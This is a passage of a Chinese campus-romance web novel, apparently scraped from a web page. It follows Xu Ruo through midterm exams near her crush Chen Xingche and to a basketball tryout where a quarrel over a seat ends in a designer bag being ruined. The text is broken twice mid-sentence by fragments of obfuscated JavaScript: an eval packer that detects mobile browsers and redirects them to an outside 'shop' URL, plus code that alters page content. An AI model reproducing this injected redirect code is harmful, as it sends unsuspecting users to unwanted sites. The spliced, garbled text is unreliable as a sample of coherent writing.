学校的校园墙上,接连三日都被陈星彻作文里那句“抬眸四顾乾坤阔,日月星辰任我攀”刷屏。 许若晚上在家写作业的时候,偶尔脑子里会突然冒出这句诗。 然后找一张白纸写下,就贴在抬头可以看得见的地方。 窗外的星子,也正闪亮。 12.考试 自从许若的名字被挂在学校的大屏幕滚动表扬之后,许君山和吴佳蓉每天轮流接送她上下学,只为满足一下虚荣心。 尤其是许君山,通常提前十分钟就在校门口等着了,许若出门时,总能听到旁边的家长问:“哎哟这就是你闺女吧,你可真会教育,学习好,长得也漂亮,可真优秀啊。” 许若一听,就知道许君山又不知道怎么和人炫耀上了。 别人顺他的意说漂亮话,他还故作谦虚:“哪里哪里,还需进步。” 许若为此常常哭笑不得。 同时难免提前给父母打预防针:“我下次不一定能考第一。” 许若对自己的成绩时刻保持警惕,班级前三名的竞争很激烈,第二名张赭只比她少考1.5分。 许君山闻言便半开玩笑说:“没事,考第二也行。” 惹得吴佳蓉直拧他腰窝,笑道:“你少来。” 许君山故作疼痛,夸张地龇牙咧嘴,连连求饶道:“行行行我说错了,只要不考倒数第一,考第几都行。” 于是吴佳蓉拧他更狠,笑问:“你就这点追求是吧?” 许若在一旁哈哈大笑,丝毫没有帮忙求情的意思。 她的成绩比许萧好,尽管许萧也是大学霸一枚,但他很少考到班级第一。 所以她能感受到父母的开心,第一名就是会在心理上让人觉得不同。 父母开心,感染到爷爷奶奶和外公外婆,一家子都高兴。 这股喜悦几乎持续到期中考试的时候。 期中考试定在11月的9号和10号,与此同时,还有另一个消息也通知下来——全市中学生(高中组)篮球赛于12月2日初赛。 全校选拔赛定于期中考试次日。 此消息一出,便有人问张赭:“班长,你参加吗?” 张赭喜欢打篮球是全班都知道的事情,只是并非校队的专业运动员,所以之前没参加过选拔。 “再说吧。”张赭正排队等着接水。 “去呗,最后一次,不去多可惜。”那人劝他。 张赭笑笑:“不是校队的,很难选上吧,再说要拿出学习时间训练,我怕成绩退步。” “……” 教室外忽然传来一声:“陈星彻。” 许若对这三个字总是很敏感,下意识抬头,看到陆燏一脸没睡醒地站在教室后,赵杭则手捧一杯奶茶,靠在门框,边喝边问:“篮球比赛,你去吗?” 陈星彻正双手插兜坐在桌上,脚在桌下一荡一荡地摩挲着地板,饶有兴味地听一群男生侃大山。 闻言转头,想都没想就回复:“去个屁。” 许若回头,表面上在整理桌面,实则注意力都在后头。 听陆燏边走进来边问:“去年不是打算去,脚扭伤没去成吗。” “对啊,你还说今年比。”赵杭应和。 陈星彻有些头疼,咬牙笑道:“妈的,去年我数学不用考80。” 陆燏不在意地说:“考不到怎么了。” 赵杭一副“我懂”的表情,抢着说:“他班主任就是我姑眼线,麒哥考不到,我姑绝对撺掇老爷子收拾他。” 陆燏还是无所谓:“收拾收拾呗,死不了。” 说着走上前揽住陈星彻的肩膀,吊儿郎当说:“参加呗。” 陈星彻睨他一眼。 陆燏回视过去,笑:“不是听说姓张的也参加吗,你抽点时间虐虐他。” 陈星彻一把推开他,笑骂:“拿我当枪使?” 陆燏不置可否,耸肩道:“我自个儿倒是想当枪,硬实力不够啊。” 赵杭咕噜咕噜吸了两口奶茶,笑道:“您的AK,随时为您上膛,无上荣光。” “滚蛋,你土得老子直起鸡皮疙瘩。”陆燏苦大仇深地皱眉,上前两步去踹赵杭,赵杭扭屁股闪开了。 陈星彻喊住两人:“别在我班打,都给我滚出去。” 说着却起了身,同他们一起出了门。 声音很快消失不见。 许若回神,无奈笑笑,还是要掏出练习册,一头扎进题海里。 学生时代但凡是还没有放弃学习的孩子,无论是成绩好的,还是成绩差的,似乎都会被名次和分数困扰。成绩好的学生,一边想铆足劲头冲刺顶尖学府,一边又害怕掉下来,而成绩差的学生,则为过线忧虑,希望起码能站上车尾。 总之,人都想往高处走。 这天放学,许若留下来打扫卫生。 张赭去擦黑板,她扫地,过了一会儿,教室里就只剩下他们两个人。 “许若,问你个事。”张赭忽然停下手里的活,看向许若。 许若直起身子,问:“什么啊。” “有件事我有点拿不定主意……你觉得我要不要参加篮球选拔赛。” 许若怔了怔,她还以为他要说学习上的事,没想到却是个人私事。 她想了想,问:“那你心里更倾向于去还是不去?” 张赭叹了声气,把用完的黑板擦放到讲台上,说道:“我就是不知道才问你,去的话怕影响成绩,不去又有点遗憾。” 许若弯腰继续扫地:“我是觉得,底子扎实,成绩没那么容易被影响,但不去的话,以后想起来都是没办法弥补的遗憾。要不你先参加学校的选拔赛试试,可以等学校选拔结果出来之后,再决定最终要不要去。” 张赭思考了一会儿,用力点头道:“好,我知道了,谢谢你!” 许若抬头,笑说:“不谢。” …… 期中考试,眨眼而至。 考试前一天的晚自习上课之前,教室里乱成一团,拉桌子的拉桌子,收拾书的收拾书。考场位次排好之后,张赭分发座位号,让大家一一贴在桌角。 许若正把一摞书抱到储物柜里,只听身后有女生聊天。 “天呐,你知道我和谁一个考场吗?”女生刻意压低嗓音,却还是抑制不住的惊喜。 另一个女生问:“谁啊?” “你猜你猜!” “猜不到,你快说,少吊我胃口啦。” “好吧好吧,我告诉你……”女生深呼一口气,满满的少女心雀跃,“我啊,和陈星彻一起!” 许若的动作放慢,侧耳倾听。 另一个女生顿时小碎步跺脚,变得无比兴奋:“啊啊啊啊啊你什么鬼运气!” 又问:“他在第几考场?我看看和我近不近。” 女生嗔道:“重色轻友,你就只问他啊?!” “哎呀,你俩一起,问他不就是问你嘛。” 女生这才展颜:“第八。” “……” 两个女生的交谈随着脚步声越来越远。 许若起身,合上柜门。 她的心底像是被撒了把跳跳糖,无数的欢欣在跳跃——她也是第八考场! 星南每年十一月到次年四月这段天气冷的日子,除周一升旗外,不会硬性要求大家穿校服,所以当晚回到家,许若试衣服试到夜里十二点。 太漂亮的怕太招摇,太普通的又不合心意,最后选了一件温柔的米色毛衣,头发半扎半披,在头绳处别一颗星星的发夹。 考试这天,一大早就下起了雨。 许若早早来到教室,因为天色暗,屋里开着灯。 张赭看见她,一连瞥了好几眼,过了会儿路过她座位,才说:“你今天打扮得挺好看。” 许若腼腆一笑,说:“谢谢。” 晨读之后,大家就要去考场准备语文考试。 那会陈星彻还没进教室,也不知道去哪了,许若偷偷瞥了眼他的位置才去考场。 来到考场之后,许若还没进门,就一眼看到坐在靠窗位置第一排的陈星彻。 陈星彻恰好抬眸,也瞥见她了。 对上视线,许若心头一缩。 陈星彻却随意指了个位置说:“你在这。” 许若怔了怔才扯出一个干巴巴地笑:“哦,谢谢啊。” 正好老师正在用金属探测仪扫身,让她转过去,等再转回来时,陈星彻已经转了头,没再看她。 进门后,许若弯腰看了眼桌子上的名字和考号,确认是自己没错,才坐下来。 因为他找到了她的座位,她心里抑制不住地高兴,嘴角压都压不住。 她平复了一会儿,才又看了眼陈星彻。 他就坐在她的斜前方,她可以很清晰地看到他的四分之一侧脸,用眼神便能轻易描绘出他下颌流畅的线条。 而他身旁是半开的窗子,天青青色雨正浓,远处梧桐叶却一片金黄,雨雾蒙蒙,把原本耀眼的颜色也氤氲成柔情似水的低饱和。 人都会对注视着自己的目光敏感,似乎是有所察觉,陈星彻忽然往后看了一眼。 许若的目光来不及收回,只好佯装在看窗外的雨景。 陈星彻瞥她一眼,没找到破绽,也就没当回事又转了回去。 却顺着她的视线,也望向窗外。 许若这才敢把目光再次落在他身上,缓缓松了一口气。 他应该会发觉,外面的秋雨很美。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13844263|145509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但是没有他好看。 许若的内心,一直在翻江倒海。 直到监考老师进了教室,她才闭上眼深呼一口气,把他赶出脑海。 为了这场考试能稳定发挥,她暗下决心,不能在交卷前再看他一眼。 第一道铃声响起,老师给大家展示密封袋、拆考卷。 第二道铃声响起,老师分发试卷。 许若开始认真读题做题。 这张试卷对她来说并不难,她写完作文时,考试还剩半个小时。 她活动了一下右手,才再次抬头看向陈星彻,只见他模样认真,还在沙沙书写着。 不得不说,许若就是喜欢陈星彻这一点——他性格肆意不羁,又有堕落嚣张的资本,却还是会把该做的事情做好。 是不是三好学生先不讲,最起码,有个学生的样子。 就这么看了他一会儿,见他摁上了笔,把试卷拿起来,走到讲台上交卷。 老师低声问:“不再检查一遍?” 他说:“用不着。”紧接着头也不回就离开了考场。 许若收回视线。 她和陈星彻不一样,还是把试卷从头到尾检查了一遍,尽管每次检查都找不出什么错误,但她已经养成习惯。 因为天气不好,这天中午许若没有回家吃饭。 她独自去校门口吃牛肉面,刚走到露天篮球场,就见一把把颜色各异的雨伞像花朵般盛开在篮球场周围。 球场里,一群男生在冒雨打球。 许若一眼就捕捉到陈星彻的身影——有人运球一路往前,陈星彻冲出拦截,轻巧把那人的篮球截了过来,而后一个转身,飞跃而起,长臂一伸,一个漂亮的让人忍不住吹口哨的三分球便稳稳落下。 全场爆发喝彩。 许若也勾唇扬起一抹发自内心的笑。 等到吃完饭回来的时候,许若远远就看到篮球场外的雨伞还在一朵朵盛开着。 这证明陈星彻还在打球。 许若往那边瞥了一眼,却没有走过去,甚至没有停下脚步,只是步履缓慢了几分而已。 哪怕是随波逐流的簇拥,对她来说也还是太张扬了。 下午那场,考数学。 雨还在淅淅沥沥下着,丝毫没有停的意思。 陈星彻最后一个进考场,许若发现他换了衣服,黑皮衣又高又飒,一进门就吸引了全部的目光。 他过安检走了进来。 因为他没有往许若这边瞧,所以许若大胆地和其他人一样望向他。 谁知他却在快走到座位上的时候,忽然抬头,看了许若一眼,紧接着就朝她走来。 这一切发生得毫无预兆。 所以当他站在桌旁,抬抬下巴说“借我点纸”时,许若蒙了。 他的语气,是那种对熟人的语气。 原本落在陈星彻一个人的目光,此刻分摊给许若。 大家都看着他们。 许若余光看见有女生小声交头接耳。 她脸一红,忙把整包刚拆开的纸都拿给他。 这个动作也不知道哪里取悦他了,陈星彻看着那包纸,两秒后忽地一勾唇。 许若不知所以地仰头看着他。 他接过了纸,哗哗抽出几张。 许若本以为他会把那包纸再还给她,谁知他却把抽出来的几张纸丢她桌上,扬扬手里的整包纸巾说:“谢了。” 许若眨眨眼,很快意识到自己被“打劫”了。 不过考试即将开始,她也无暇再多想什么,只慢慢呼吸,把注意力拉回来。 陈星彻考数学的状态和考语文完全不一样。 许若没想注意他,可他在大家还在做选择题的时候,就来回翻试卷,很难不引她注意。 这一场考试,陈星彻只认真做了十分钟的题,似乎是能做得太少,后来干脆都空着。 许若以为他会睡觉。 但他没有睡,而是不断擤鼻涕。 怪不得要借纸,原来是感冒了。 许若摇摇头,没再管他,低头认真答题。 陈星彻坐在那无聊极了,无意间回头,就看到许若正低头沙沙书写,他眼眸一深,发现她的头发里居然还藏着一颗淡蓝色的星星发夹。 监考老师向他望过来。 他瞥了那老师一眼,却很快又我行我素继续往许若那瞥,他能看到她的答题纸上满是黑色字迹,看样子是都会做。 他回眸看了眼自己的试卷,忍不住嗤自己一声。 但又很快原谅,懒懒托腮看雨。 13.初赛 期中考试考了两天,雨就下了两天。 考完最后一场时,夕阳的余晖透过云翳洒满大地,终于是雨过天晴了。 这场雨过后,气温大幅度降了下来。 考试次日放假,许若被董巧巧喊去看篮球选拔赛。刚出门,迎面一阵寒风吹得她浑身一颤,她这才意识到冬天是真的来了,于是又回去换上薄棉服。 董巧巧打车来接许若。 二人一见面,许若就发现她化了淡妆,这姑娘来看比赛一是想凑热闹,二是看帅哥,却不为专门看哪一个人。 许若就不一样了。 她早在学校官网看到选拔名单里有陈星彻的名字。 选拔赛定在下午两点举行。 许若和董巧巧半路遇见汽车追尾,堵了会儿路,来到学校已是1点58分。 星南共有一大一小两个室内篮球场,这次比赛在距离大门更远的小馆举行。 一下车,董巧巧就拉着许若往比赛场地狂奔。 董巧巧速度快到,许若好几次都怀疑身后是不是有恶犬追她俩。 许若因为赶不上董巧巧的速度,半路摔了一下,膝盖着地,特别清脆的“嘭”一声,直接生理性飙泪。 董巧巧这才停下来,焦急地问:“你没事吧!” 许若忙摆手,却疼得说不出话。 董巧巧把许若扶起来,急得在原地小跑:“妈呀,你还能走吗,马上迟到了。” 许若看得出来,董巧巧不是关心她是否摔伤,而是怕赶不上选拔赛开场,这倒也是人之常情,她动了动腿,疼得没法动,只好说:“你先去吧,我缓缓再去找你。” 董巧巧望了眼篮球场的方向,问:“你真没事吗?” 许若一笑:“没事。” 董巧巧忙说:“那我先过去,给你占位置啊。” 话才说一半,就头也不回地往篮球场飞奔而去。 许若没有目送董巧巧离开,她弯腰把牛仔裤的裤腿往上卷,才发现牛仔裤都磕破了,还好这条裤子厚,膝盖虽然青紫一片,却没伤到骨头。 她缓了大概五分钟,感觉可以走路了,才慢慢往篮球场走。 来到场外,还没进去,就听到里面一阵掀翻屋顶的激烈尖叫:“陈星彻!” 许若探头一瞧——不过是小小的选拔赛,看台上竟然座无虚席。 来现场的大多数是女生,听刚才那整齐划一的嗷嚎,也知道她们都来看谁。 许若刚要进去,一个老师走过来说:“比赛开始了,不能进了。” 许若顿觉尴尬,脸瞬间红透。 老师又叫保安:“你们把门关上吧,别再放人进来了,没看这都坐满了。” 许若原本还想求求情,闻言只觉喉咙发干,什么也说不出。 正打算离开,忽然看到有个女生朝自己跑了过来,笑着喊:“许若!” 许若眼眸一亮,回应道:“李岁?” 李岁几步跑到她身边,许若伸长了手等着她来牵。 最后是人还没到,手倒是先拉上了,亲近得什么似的。 她们在宋楚的生日会上互加好友,那之后虽没再见过面,却常聊天,二人意气相投,自然而然成为好朋友。 李岁笑说:“我一看见你,就冲过来了。” 许若又惊又喜地问:“你怎么也过来了?” “我也是临时被陆燏拉来的。”李岁看了眼身后,“已经开始了,先跟我进去再说。” 许若说:“好。” 李岁对拦住许若的那个老师说:“她是和我一起的。” 老师什么也没说,比了个手势,示意她们进去。 许若一脸状况之外。 李岁见状就笑:“他看到我和陆燏一起来的。” 许若了然,这个学校谁会拦陆燏身边的人。 二人来到观赛最佳位置,第一排的最中心。 陆燏,赵杭,宋楚以及另外几个常和他们玩在一起的男男女女也都在。 这里每个座位都有人,并没有许若的位置。 许若对李岁说:“我还是去后面找个位子坐吧。” 李岁拍拍她的手,说:“不行,我就要和你坐一起。” 说罢,她看了眼宋楚,她和宋楚之间恰好空了个位子,不过这个位子上放了一个书包。 李岁心里清楚这包是谁的,却还是问道:“这谁的包?” 宋楚没看她,回:“我的,怎么了。” 李岁态度很礼貌,笑问:“可不可以拿开呀,我朋友没位子。” 宋楚早就看到许若,想到球场上的某个身影,她想都没想,说:“不行。” 李岁这时的语气已经有点冷淡下来:“座位本来就是为了坐人的,不是为了坐包。” 宋楚目光落在球场上的某道身影上,不耐烦地说:“我这是爱马仕。” 李岁被她这态度搞得冒火,拧眉道:“爱马仕不是包?是人?它成精了?” 许若差点笑出声,忍不住瞥了眼陆燏,却见他拿一听可乐悠哉哉喝着,正盯着李岁瞧,满脸的兴致昂扬,事不关己地看起了热闹。 宋楚听见李岁呛她,这才抬眸施舍李岁一个轻蔑的眼神,嗤道:“知道你是陆燏身边的一只鸡,用不着咯咯哒瞎叫唤。” 许若心一紧,转头看李岁,只见她所有的表情瞬间凝滞。 让其他人看,李岁更像是放空。 可是许若却感觉李岁死了一秒钟。 许若性子淡,却不软弱,她忍不住开口维护,刚要说什么,陆燏不紧不慢起了身。 他姿态悠闲走过来,一弯腰,就把宋楚那只爱马仕拿了起来。 宋楚急切问:“你干什么。” 陆燏没说话,拉开拉链,把手上的可乐一股脑倒进去。 许若甚至能听到碳酸发出的滋滋气泡声。 宋楚顿时大叫:“我操你疯了?!” 她冲上来要抢夺那只昂贵的包,赵杭眼疾手快,一把把她拽住了。 陆燏不急不慢看那黑褐色的液体流光,“喀嚓”一声捏扁了易拉罐,随后懒懒把易拉罐丢进包里。 手一松,包掉在地上。 然后他随意一踢,那只爱马仕滑远数米。 许若屏息看着这一切。 陆燏转头,瞥她一眼,眼角眉梢还残存没来得及收回的寒意。 他很快又看向李岁,一脸嫌弃:“笨,这不就有空位了?” 说完,他又坐回他的位子,没骨架似的懒怠瘫在那。 仿佛什么都没做过。 李岁静静站在那好一会,忽地释怀一笑,仰脸对许若说:“坐吧。” 许若什么也没说,依言坐下,又看了眼宋楚。 赵杭在那边打圆场,安抚宋楚道:“有什么事结束再说,你要再闹保安就来了,到时候保安是下陆燏的面子,还是赶你出去,你心里清楚。” 说完又看了眼远处孤零零的爱马仕,说道:“你先坐好,我给你把包拿回来,这样你也不算没面子。” 赵杭说完就去拿包了。 宋楚气得浑身打哆嗦,恶狠狠瞪了许若一眼,哼声道:“怪不得脾气硬了,原来是傍上了。” 许若微微拧眉刚要反驳什么,赵杭拿包回来。 宋楚单手接过那只包,却是紧皱眉头,想都没想就走到垃圾桶旁,把包连同里面的东西一起丢了。 许若还以为宋楚会离开,没想到丢完包,她又返回座位上。 眼睫微颤,下巴却傲然微扬,不肯低下头颅,脊背比刚才挺得更直。 李岁拉了把许若,说:“别管她,我们看我们的。” 许若点点头,很快坐好,去找球场上那抹日思夜想的身影。 这一出闹剧,惹来不少人侧目。 连正在比赛的球员们都注意到了,许若看到罚球时,有人往这边看了一眼。 中场休息的时候,陈星彻跑下场,边擦汗边问:“你们这边刚才什么情况?” 原来连他都注意到了。 陆燏顶着张厌世脸,懒懒说:“没事,处理个垃圾。” 许若和李岁对视一眼。 李岁脸上没有别人为她出头而解气的神情,也没有丝毫的恃宠生娇或狐假虎威,只是一笑,好像并不在意。 许若喜欢她身上这股“不拿事当事”的松弛感。 这样想着,许若看了眼宋楚的位置。 宋楚不在位子上,她转头,只见宋楚不知道什么时候走到对面的休息区,拿了瓶水递给张赭,而她刚看过去,就冷不丁和张赭对视上。 张赭瞬间回她一抹无比灿烂的微笑,又招招手。 宋楚顿时黑了脸。 许若没管她,礼貌地抬手挥了挥,笑着示意。 再回眸,只见大家都在看着她。 尤其是陈星彻的目光,这么近距离落在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13856444|145509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,她心里痒痒的,忙问:“怎么了。” 陈星彻荡了荡衣襟,睨着她,似笑非笑问:“怎么回事?这不是我的啦啦队吗,怎么还进了个叛徒?” 许若禁不住这样的调侃,只瞪大眼睛:“啊?” 陈星彻眼睫半垂,懒懒一笑:“你人在我这,心里想着谁呢?” 这话差点让许若应声倒地。 她第一次明白什么叫“被撩到腿软”。 赵杭补充:“就是啊,你怎么和我们麒哥的对手打上招呼了?” 许若说:“我没有。” 气势弱得让人想一直逗她。 赵杭笑得眼睛都没了,说:“行,知道了,小叛徒。” “……”话落,其他人也都笑她。 许若哑然,却也忍不住笑了,这时她突然发现,她好像第一次有了融入他们的感觉。 然后,她敏锐地反应过来,赵杭在帮她化解局促。 原来赵杭也不是表面那么没心没肺,就冲他之前同宋楚说那一番话,就知道他是个很会办事的人。 把“绿叶”当好也是一种本事。 陆燏性子阴沉,偏偏对陈星彻千随百顺,说明陈星彻也不是个软弱的主,他们需要赵杭这样的人,来做宝剑的剑鞘,帮他们收住锋芒。 许若感激地冲赵杭一笑。 赵杭微愣,而后眼睛瞥到一旁,耳尖红了。 李岁见大家都调侃许若,就拿了瓶水,拧开瓶盖,扯开话题问:“你们比完之后直接出考核结果吗?” 说着,把水给陈星彻递过去。 陈星彻刚要接,陆燏横过来一只手臂,硬生生拦了下来。 他把水从李岁手里抽走,随手塞给旁边的人,眼睛始终盯着李岁,问:“你和他什么关系,轮得到你给?” 李岁一怔,旋即哭笑不得,埋怨一声:“你真神经。” 陆燏挑眉接纳这句笑骂,又随手把那瓶水给了许若,说:“你给。” 许若怔然,低低头看着怀里刚被硬塞进来的水,只觉头顶一排乌鸦飞过。 搞什么? 李岁都不能给,轮得到她给? 许若看了陈星彻一眼,他用毛巾擦汗,没在意谁拿水,只是随意瞥向她,说:“给我吧。” 原本她是要给他的,可余光好巧不巧,望见不远处的董巧巧正和两个女生看着她窃窃私语。 许若不怕和学校的风云人物扯上关系。 甚至说,出于私心,她是很想要和他亲近起来的。 但她不想,明明没什么关系,却被误会有关系,然后再产生一系列蝴蝶效应,承担不属于她的风波。 许若暗暗咬牙,手一伸。 把水递给赵杭:“要不你给吧。” 这个举动让赵杭一懵。 陈星彻擦汗的动作也顿了顿,看向许若的手,眸色明暗交错有些意味不明。 许若心头莫名一紧。 只见陈星彻默了默后,嗤出来:“笑死,喝口水都那么费劲。” 他把她的手往一边推了下,示意她别挡道,走过去又拿了瓶水拧开喝。 许若被他一推,瓶子里的水溅了些出来,弄湿了袖子。 赵杭一把抽出她手里的水瓶,仰头喝了一口,说:“你可是第一个不想给我麒哥递水的女孩哦。” 许若像个做错事的孩子,低下了头。 李岁见状就笑:“没事的若若,陈星彻才不会上心呢。” 是啊,陈星彻怎么会对这种小事上心。 许若点点头,松了口气的同时,心里越觉得更难受起来。 …… 下半场比赛很快开始。 陈星彻这天穿的是红色十号球衣,在球场上奔跑的时候就像一团火焰,许若的目光完全被他吸引。 他和身高两米的体育生打球也丝毫不怯场,拦球果断,投球准确,在线外长臂一伸就是一个三分球,腾空而跃的灌篮更是让全场为之沸腾。 他是锋芒毕露的,却也没把整场比赛当做自己的秀场,还是会给队员们争取机会,辅助助攻。 许若其实对篮球知之甚少,也不了解陈星彻打什么位置,只知道他很厉害。 刚开始的时候,许若还很拘谨,不敢大声喊加油。 后来她发现大家都很投入,没人注意她,她也就放开了,只要陈星彻一进球她就喝彩。 殊不知,这一切被宋楚捕捉。